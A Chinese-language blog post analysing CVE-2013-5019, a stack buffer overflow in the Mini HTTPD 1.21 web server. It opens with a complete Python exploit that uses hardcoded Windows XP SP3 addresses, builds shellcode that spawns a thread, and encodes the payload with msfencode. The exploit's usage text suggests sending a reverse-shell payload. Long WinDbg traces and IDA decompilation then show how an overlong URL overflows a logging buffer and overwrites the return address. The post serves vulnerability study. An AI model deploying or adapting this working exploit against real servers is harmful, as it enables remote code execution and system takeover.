Mini httpd远程代码执行漏洞(CVE-2013-5019)

作者:k0shl 转载请注明出处

漏洞说明


软件下载地址:
https://www.exploit-db.com/apps/847d772037159c4559bd41a439489ee7-minihttpd120.lzh

PoC:

import struct, socket, sys, subprocess

# Helper function that reads the body of files off disk.
def file_content(path):
  with open(path, 'rb') as f:
    return f.read()

# Sent the payload in the correct format to the target host/port.
def pwn(host, port, payload):
  print "[*] Connecting to {0}:{1}...".format(host, port)
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))
  print "[*] Connected, sending payload {0} bytes...".format(len(payload))
  payload = "POST /{0} HTTP/1.1\r\nHost: {1}\r\n\r\n".format(payload, host)
  s.send(payload)
  s.shutdown
  s.close
  print "[+] Payload of {0} bytes sent, hopefully your shellcode executed.".format(len(payload))

# Create the part of the payload creates a thread to run the final payload in.
def create_payload_thread(final_payload_size):
  VirtualAlloc = struct.pack("<L", 0x7c809AE1)   # in kernel32
  CreateThread = struct.pack("<L", 0x7c8106c7)   # in kernel32
  SuspendThread = struct.pack("<L", 0x7c83974A)  # in kernel32

  payload  = ""
  payload += "\x83\xec\x02"   # add esp, 0x2 (aligns the stack)
  payload += "\x89\xe6"       # mov esi, esp
  payload += "\x83\xc6\x00"   # add esi, <some offset filled later>
  count_offset = len(payload) - 1

  # zero out ebx because we use zero a lot
  payload += "\x31\xdb"             # xor ebx,ebx

  # allocate some memory to store our shellcode in which is
  # away from the current active area and somewhere safe
  payload += "\x6a\x40"             # push 0x40
  payload += "\x68\x00\x30\x00\x00" # push 0x3000
  payload += "\x68\x00\x10\x00\x00" # push 0x1000
  payload += "\x53"                 # push ebx
  payload += "\xB8" + VirtualAlloc  # mov eax,<address>
  payload += "\xff\xd0"             # call eax

  # copy the payload over to the newly allocated area
  size_bin = struct.pack("<L", final_payload_size + 4)
  payload += "\xb9" + size_bin      # mov ecx,final_payload_size
  payload += "\x89\xc7"             # mov edi,eax
  payload += "\xf2\xa4"             # rep movsb
  # create the thread with a starting address pointing to the
  # allocated area of memory
  payload += "\x53"                 # push ebx
  payload += "\x53"                 # push ebx
  payload += "\x53"                 # push ebx
  payload += "\x50"                 # push eax
  payload += "\x53"                 # push ebx
  payload += "\x53"                 # push ebx
  payload += "\xB8" + CreateThread  # mov eax,<address>
  payload += "\xff\xd0"             # call eax

  # We call SuspendThread on the current thread, because this
  # forces the parent to kill it. The bonus here is that doing
  # so prevents the thread from dying and bringing the whole
  # process down.
  payload += "\x4b"                 # dec ebx
  payload += "\x4b"                 # dec ebx
  payload += "\x53"                 # push ebx
  payload += "\xB8" + SuspendThread # mov eax,<address>
  payload += "\xff\xd0"             # call eax
  payload += "\x90" * 4

  # fill in the correct offset so that we point ESI to the
  # right location at the start of the final payload
  size = len(payload) + final_payload_size % 4

  print "[*] Final stage is {0} bytes.".format(final_payload_size)

  offset = struct.pack("B", size)

  # write the value to the payload at the right location and return
  return payload[0:count_offset] + offset + payload[count_offset+1:len(payload)]

# Creates the first stage of the exploit which overwrite EIP to get control.
def create_stage1():
  eip_offset = 5412
  jmp_esp = struct.pack("<L", 0x7e4456F7) # JMP ESP in advapi32

  eip_offset2 = eip_offset + 4

  payload  = ""
  payload += "A" * eip_offset    # padding to reach EIP overwrite
  payload += jmp_esp             # address to overwrite IP with
  payload += "\x90"              # alignment
  payload += "\x83\xEC\x21"      # rejig ESP
  return payload

# Create encoded shellcode from the given payload.
def create_encoded_shellcode(payload):
  print "[*] Input payload of {0} bytes received. Encoding...".format(len(payload))
  params = ['msfencode', '-e', 'x86/opt_sub', '-t', 'raw',
      'BufferRegister=ESP', 'BufferOffset=42', 'ValidCharSet=filepath']
  encode = subprocess.Popen(params, stdout = subprocess.PIPE, stdin = subprocess.PIPE)
  shellcode, _ = encode.communicate(payload)
  print "[*] Shellcode of {0} bytes generated.".format(len(shellcode))
  return shellcode

print ""
print "MiniHTTPd 1.21 exploit for WinXP SP3 - by TheColonial"
print "-----------------------------------------------------"
print ""
print " Note: msfencode must be in the path and Metasploit must be up to date."

if len(sys.argv) != 4:
  print ""
  print " Usage: {0} <host> <port> <payloadfile>".format(sys.argv[0])
  print ""
  print "          host : IP/name of the target host."
  print "          port : Port that the target is running on."
  print "   payloadfile : A file with the raw payload that is to be run."
  print "                 This should be the raw, non-encoded output of"
  print "                 a call to msfpayload"
  print ""
  print "   eg. {0} 192.168.1.1 80 reverse_shell_raw.bin"
  print ""
else:
  print ""
  print "   Make sure you have your listeners running!"
  print ""

  host = sys.argv[1]
  port = int(sys.argv[2])
  payload_file = sys.argv[3]
  stage1 = create_stage1()
  final_stage = file_content(payload_file)
  thread_payload = create_payload_thread(len(final_stage))
  shellcode = create_encoded_shellcode(thread_payload + final_stage)
  padding = "A" * 0x10
  pwn(host, port, stage1 + shellcode + padding)

调试软件:
windbg
IDA pro


漏洞复现


此漏洞形成的原因是因为Mini HTTPD服务器在接收请求的URL数据时,会将URL拼接成一个路径去尝试读取文件,当没有读取到文件的时候,会拼接成一个Not Found语句输出,在这个过程中,没有对URL的长度进行严格的检查,从而导致在最后拼接的时候发生栈溢出,导致返回地址覆盖从而执行任意代码,下面对此漏洞进行详细分析。

首先发送PoC,windbg挂载服务进程,程序崩溃,windbg捕获到漏洞异常。

0:002> g
(854.55c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=000000f8 ecx=7c92f641 edx=00000007 esi=00cedd66 edi=00cee668
eip=54484141 esp=00cedc6c ebp=0000000e iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
54484141 ??              ???

通过kb查看堆栈调用。

0:003> kb
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
00cedc68 312f5054 3034312e 6f4e2034 6f462074 0x54484141
00cedc6c 3034312e 6f4e2034 6f462074 0d646e75 0x312f5054
00cedc70 6f4e2034 6f462074 0d646e75 0000000a 0x3034312e
00cedc74 6f462074 0d646e75 0000000a 00000000 0x6f4e2034
00cedc78 0d646e75 0000000a 00000000 00000000 0x6f462074
00cedc7c 00000000 00000000 00000000 000000cc 0xd646e75

可以看到这时已经是畸形字符串了,在这个过程中,我尝试调整url长度为了更准确地定位漏洞位置,但是发现无论如何调整都无法准确定位,这时候找打了另一种方法,首先查看一下esp的值。

0:003> dc esp
00cedc6c  312f5054 3034312e 6f4e2034 6f462074  TP/1.1404 Not Fo
00cedc7c  0d646e75 0000000a 00000000 00000000  und.............
00cedc8c  000000cc 00000000 ffffffff 0a000a0d  ................
00cedc9c  00000000 0000007f 00000000 00000000  ................

可以看到此时esp中存放了404 not found这类关键词,通过IDA,找到了这处常量的位置。

.data:0042038C a404NotFound    db '404 Not Found',0    ; DATA XREF: sub_401370+A19o
.data:0042038C                                         ; sub_401370+A2Eo

通过IDA找到这处调用位置。

.text:00401D89                 push    offset a404NotFound ; "404 Not Found"
.text:00401D8E                 push    edx             ; s
.text:00401D8F                 call    sub_4027A0
.text:00401D94                 add     esp, 8
.text:00401D97                 lea     eax, [esp+22348h+var_22260]
.text:00401D9E                 push    offset a404NotFound ; "404 Not Found"
.text:00401DA3                 push    eax             ; char *
.text:00401DA4                 call    _sprintf

可以看到sprintf这类敏感调用个,于是由此入手,对漏洞进行分析。


漏洞分析


首先在对之前回溯到的sprintf函数的分析中,我找到了一处比较关键的调用位置。

.text:004014C2                 push    0               ; flags
.text:004014C4                 push    400h            ; len
.text:004014C9                 push    ebp             ; buf
.text:004014CA                 push    edx             ; s
.text:004014CB                 call    edi ; recv

在这里下断点单步跟踪。

0:002> bp 004014cb
*** WARNING: Unable to verify checksum for C:\Documents and Settings\Administrator\桌面\minihttpd\minihttpd.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Documents and Settings\Administrator\桌面\minihttpd\minihttpd.exe
0:002> g
Breakpoint 0 hit
eax=00000000 ebx=00000001 ecx=00000000 edx=000000cc esi=00000000 edi=71a42e70
eip=004014cb esp=00cedc60 ebp=00cee668 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
minihttpd+0x14cb:
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\WSOCK32.dll - 
004014cb ffd7            call    edi {WSOCK32!recv (71a42e70)}
0:003> dd esp
00cedc60  000000cc 00cee668 00000400 00000000
00cedc70  00000000 000000cc 00d0ffec 00b0fbac
00cedc80  00000000 00000000 00000000 000000cc
00cedc90  00000000 00000000 0a0d0a0d 00000000
00cedca0  0000007f 00000000 00000000 00000001
00cedcb0  00000000 00000000 00000000 00000000
00cedcc0  00000000 00000000 00000000 00000000
00cedcd0  00000000 00000000 00000000 00000000
0:003> dc cee668
00cee668  2e373231 2e302e30 00000031 00000000  127.0.0.1.......
00cee678  00000000 00000000 00000000 00000000  ................
00cee688  00000000 00000000 00000000 00000000  ................
00cee698  00000000 00000000 00000000 00000000  ................
00cee6a8  00000000 00000000 00000000 00000000  ................
00cee6b8  00000000 00000000 00000000 00000000  ................
00cee6c8  00000000 00000000 00000000 00000000  ................
00cee6d8  00000000 00000000 00000000 00000000  ................
0:003> p
eax=00000400 ebx=00000001 ecx=00151e98 edx=00000001 esi=00000000 edi=71a42e70
eip=004014cd esp=00cedc70 ebp=00cee668 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
minihttpd+0x14cd:
004014cd 8bd8            mov     ebx,eax
0:003> dc cee668
00cee668  54534f50 41412f20 41414141 41414141  POST /AAAAAAAAAA
00cee678  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00cee688  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00cee698  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00cee6a8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00cee6b8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00cee6c8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00cee6d8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

可以看到,此时确实接收到了畸形字符串,接下来继续单步跟踪。

0:003> bp 004018a3
0:003> g
Breakpoint 2 hit
eax=00dede28 ebx=00000100 ecx=00000000 edx=00dee230 esi=00000000 edi=00420450
eip=004018a3 esp=00dedc64 ebp=00defbb7 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
minihttpd+0x18a3:
004018a3 e886260000      call    minihttpd+0x3f2e (00403f2e)
0:003> dd esp
00dedc64  00dede28 004203ec 00424708 00000000
00dedc74  000000c4 00e0ffec 00c0fbac 0000154f
00dedc84  00000000 00000000 000000c4 00000000
00dedc94  00000000 0a000a0d 00000000 0000007f
00dedca4  00000000 00000000 00000001 00000000
00dedcb4  00000000 00000000 00000000 00000000
00dedcc4  00000000 00000000 00000000 00000000
00dedcd4  00000000 00000000 00000000 00000000
0:003> dc 00424708
00424708  775c3a63 61706265 00736567 00000000  c:\webpages.....

到达这个位置的时候,可以看到此时已经获取到了web的根目录位置,接下来会对根目录进行拼接。

0:003> p
eax=00000000 ebx=0000013f ecx=00000211 edx=00dee268 esi=00dede28 edi=00dede28
eip=00401a6e esp=00dedc70 ebp=00dedcc8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
minihttpd+0x1a6e:
00401a6e 8be9            mov     ebp,ecx
0:003> p
eax=00000000 ebx=0000013f ecx=00000211 edx=00dee268 esi=00dede28 edi=00dede28
eip=00401a70 esp=00dedc70 ebp=00000211 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
minihttpd+0x1a70:
00401a70 8bfa            mov     edi,edx
0:003> p
eax=00000000 ebx=0000013f ecx=00000211 edx=00dee268 esi=00dede28 edi=00dee268
eip=00401a72 esp=00dedc70 ebp=00000211 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
minihttpd+0x1a72:
00401a72 83c9ff          or      ecx,0FFFFFFFFh
0:003> p
eax=00000000 ebx=0000013f ecx=ffffffff edx=00dee268 esi=00dede28 edi=00dee268
eip=00401a75 esp=00dedc70 ebp=00000211 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
minihttpd+0x1a75:
00401a75 f2ae            repne scas byte ptr es:[edi]
0:003> p
eax=00000000 ebx=0000013f ecx=ffffffe9 edx=00dee268 esi=00dede28 edi=00dee27e
eip=00401a77 esp=00dedc70 ebp=00000211 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
minihttpd+0x1a77:
00401a77 8bcd            mov     ecx,ebp
0:003> p
eax=00000000 ebx=0000013f ecx=00000211 edx=00dee268 esi=00dede28 edi=00dee27e
eip=00401a79 esp=00dedc70 ebp=00000211 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
minihttpd+0x1a79:
00401a79 4f              dec     edi
0:003> bp 00401d74
0:003> g
Breakpoint 4 hit
eax=00000000 ebx=00000005 ecx=00dede28 edx=00dee268 esi=0042039e edi=00dee02b
eip=00401d74 esp=00dedc68 ebp=00000010 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297
minihttpd+0x1d74:
00401d74 e872a70000      call    minihttpd+0xc4eb (0040c4eb)
0:003> dd esp
00dedc68  00dede28 00008000 00000000 000000c4
00dedc78  00e0ffec 00c0fbac 0000154f 00000000
00dedc88  00000000 000000c4 00000000 00000000
00dedc98  0a000a0d 00000000 0000007f 00000000
00dedca8  00000000 00000001 00000000 00000000
00dedcb8  00000000 00000000 00000000 00000000
00dedcc8  00000000 00000000 00000000 00000000
00dedcd8  00000000 00000000 00000000 00000000
0:003> dc 00dede28
00dede28  775c3a63 61706265 5c736567 41414141  c:\webpages\AAAA
00dede38  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00dede48  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00dede58  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00dede68  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00dede78  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00dede88  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00dede98  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

之后会执行打开操作,在这里,如果打开失败,则会跳转到失败处理中,在失败处理中,会去执行打印404 not found的操作。

0:003> p
eax=ffffffff ebx=00000005 ecx=00000003 edx=00911f90 esi=0042039e edi=00dee02b
eip=00401d79 esp=00dedc68 ebp=00000010 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
minihttpd+0x1d79:
00401d79 83c408          add     esp,8
0:003> p
eax=ffffffff ebx=00000005 ecx=00000003 edx=00911f90 esi=0042039e edi=00dee02b
eip=00401d7c esp=00dedc70 ebp=00000010 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
minihttpd+0x1d7c:
00401d7c 83f8ff          cmp     eax,0FFFFFFFFh
0:003> p
eax=ffffffff ebx=00000005 ecx=00000003 edx=00911f90 esi=0042039e edi=00dee02b
eip=00401d7f esp=00dedc70 ebp=00000010 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
minihttpd+0x1d7f:
00401d7f 89442424        mov     dword ptr [esp+24h],eax ss:0023:00dedc94=00000000
0:003> p
eax=ffffffff ebx=00000005 ecx=00000003 edx=00911f90 esi=0042039e edi=00dee02b
eip=00401d83 esp=00dedc70 ebp=00000010 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
minihttpd+0x1d83:
00401d83 752c            jne     minihttpd+0x1db1 (00401db1)             [br=0]

在00401d7c地址位置,会进行一次比较,这里采用补码的方式表示-1,这里由于文件肯定不存在,于是会进入错误处理流程。

0:003> p
eax=ffffffff ebx=00000005 ecx=00000003 edx=000000c4 esi=0042039e edi=00dee02b
eip=00401d89 esp=00dedc70 ebp=00000010 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
minihttpd+0x1d89:
00401d89 688c034200      push    offset minihttpd+0x2038c (0042038c)
0:003> p
eax=ffffffff ebx=00000005 ecx=00000003 edx=000000c4 esi=0042039e edi=00dee02b
eip=00401d8e esp=00dedc6c ebp=00000010 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
minihttpd+0x1d8e:
00401d8e 52              push    edx
0:003> p
eax=ffffffff ebx=00000005 ecx=00000003 edx=000000c4 esi=0042039e edi=00dee02b
eip=00401d8f esp=00dedc68 ebp=00000010 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
minihttpd+0x1d8f:
00401d8f e80c0a0000      call    minihttpd+0x27a0 (004027a0)
0:003> p
eax=00000000 ebx=00000005 ecx=00151e98 edx=7c92e4f4 esi=0042039e edi=00dee02b
eip=00401d94 esp=00dedc68 ebp=00000010 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
minihttpd+0x1d94:
00401d94 83c408          add     esp,8
0:003> dc edi
00dee02b  41414141 41414141 54534f48 4141003a  AAAAAAAAHOST:.AA
00dee03b  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00dee04b  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00dee05b  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00dee06b  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00dee07b  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00dee08b  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00dee09b  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

0:003> p
eax=00000000 ebx=000000f8 ecx=00000000 edx=00cee268 esi=00cedd66 edi=00cee668
eip=00402629 esp=00cedc70 ebp=0000000e iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
minihttpd+0x2629:
00402629 52              push    edx
0:003> p
eax=00000000 ebx=000000f8 ecx=00000000 edx=00cee268 esi=00cedd66 edi=00cee668
eip=0040262a esp=00cedc6c ebp=0000000e iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
minihttpd+0x262a:
0040262a e831000000      call    minihttpd+0x2660 (00402660)
0:003> p
(5ac.b30): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=000000f8 ecx=7c92f641 edx=00000007 esi=00cedd66 edi=00cee668
eip=54484141 esp=00cedc6c ebp=0000000e iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
54484141 ??              ???

在错误处理中,会构成一个错误处理的字符串,接下来会进行拼接,然后执行函数sub_402660()。

在这之前,我们来总结分析一下之前函数逻辑的过程。

 do
  {
    v11 = recv(s, v7, 1024, 0);


  v88 = &v125;
  v87 = &v123;
  sscanf(&buf, aSSS, &v116, &v123, &v125);

  v88 = ReturnedString;
  sprintf(&v121, aS, ReturnedString);

LABEL_55:
  strcat(v126, &v121);

  TargetHandle = (HANDLE)_open(&v121, 0x8000);
  if ( TargetHandle == (HANDLE)-1 )
  {
    sub_4027A0(s, a404NotFound);
    sprintf(&v118, a404NotFound);
  }
    if ( v118 )
      strcat(v126, &v118);
    if ( !v86 )
      sub_402660(v126);

首先,会接收POST字符串,接下来会进行一次输入,输入之后会调用sprintf将字符串传给v121变量,然后进行拼接,在LABEL_55的位置,这处拼接会构成一个绝对路径,接下来在TargetHandle位置对这个文件进行尝试打开。

打开失败的时候会进入错误处理流程,会拼接404 not found进入字符串,然后调用sub_402660函数,这个v126参数就是畸形字符串。

首先这个过程我去掉了中间一些无关的代码逻辑,整个逻辑很长。其次是在整个过程中,并没有对长度进行校验,而是直接将畸形字符串拼接完成后,传入sub_402660函数。

接下来我们继续跟踪分析这个函数。

int __cdecl sub_402660(int a1)
{
  HANDLE v1; // esi@1
  DWORD v2; // ebx@1
  int result; // eax@2
  struct _SYSTEMTIME SystemTime; // [sp+8h] [bp-518h]@1
  DWORD NumberOfBytesWritten; // [sp+1Ch] [bp-504h]@3
  char v6; // [sp+20h] [bp-500h]@4
  char Buffer; // [sp+120h] [bp-400h]@1

  v1 = CreateFileA(FileName, 0x40000000u, 0, 0, 4u, 0x80u, 0);
  GetLocalTime(&SystemTime);
  sprintf(
    &Buffer,
    a4d02d02d02d02d,
    SystemTime.wYear,
    SystemTime.wMonth,
    SystemTime.wDay,
    SystemTime.wHour,
    SystemTime.wMinute,
    SystemTime.wSecond,
    SystemTime.wMilliseconds,
    a1);
  v2 = SetFilePointer(v1, 0, 0, 2u);
  if ( v2 == -1 )
  {
    result = CloseHandle(v1);
  }
  else
  {
    WriteFile(v1, &Buffer, strlen(&Buffer), &NumberOfBytesWritten, 0);
    FlushFileBuffers(v1);
    CloseHandle(v1);
    result = dword_424108;
    if ( v2 > dword_424108 )
    {
      sprintf(&v6, aS_old, FileName);
      remove(&v6);
      result = rename(FileName, &v6);
    }
  }
  return result;
}

可以看到,函数中调用了一个很关键的sprintf,这个调用中,会将a1传入Buffer,a1就是畸形字符串,也正是这个过程造成了缓冲区溢出。

0:003> p
eax=00000000 ebx=ffffffff ecx=7c92f641 edx=00000007 esi=ffffffff edi=00cee668
eip=00402715 esp=00ced748 ebp=0000000e iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
minihttpd+0x2715:
00402715 5e              pop     esi
0:003> p
eax=00000000 ebx=ffffffff ecx=7c92f641 edx=00000007 esi=00cedd66 edi=00cee668
eip=00402716 esp=00ced74c ebp=0000000e iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
minihttpd+0x2716:
00402716 5b              pop     ebx
0:003> p
eax=00000000 ebx=000000f8 ecx=7c92f641 edx=00000007 esi=00cedd66 edi=00cee668
eip=00402717 esp=00ced750 ebp=0000000e iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
minihttpd+0x2717:
00402717 81c418050000    add     esp,518h
0:003> p
eax=00000000 ebx=000000f8 ecx=7c92f641 edx=00000007 esi=00cedd66 edi=00cee668
eip=0040271d esp=00cedc68 ebp=0000000e iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
minihttpd+0x271d:
0040271d c3              ret
0:003> dc esp
00cedc68  54484141 312f5054 3034312e 6f4e2034  AAHTTP/1.1404 No
00cedc78  6f462074 0d646e75 0000000a 00000000  t Found.........
00cedc88  00000000 000000cc 00000000 ffffffff  ................
00cedc98  0a000a0d 00000000 0000007f 00000000  ................
00cedca8  00000000 00000001 00000000 00000000  ................
00cedcb8  00000000 00000000 00000000 00000000  ................
00cedcc8  00000000 00000000 00000000 00000000  ................
00cedcd8  00000000 00000000 00000000 00000000  ................

返回时,栈底已经被畸形字符串覆盖了,如果此时加长畸形字符串长度,eip则会到达可控位置,造成任意代码执行。

Comments
Write a Comment
  • 大宝 reply

    带我上分Zzz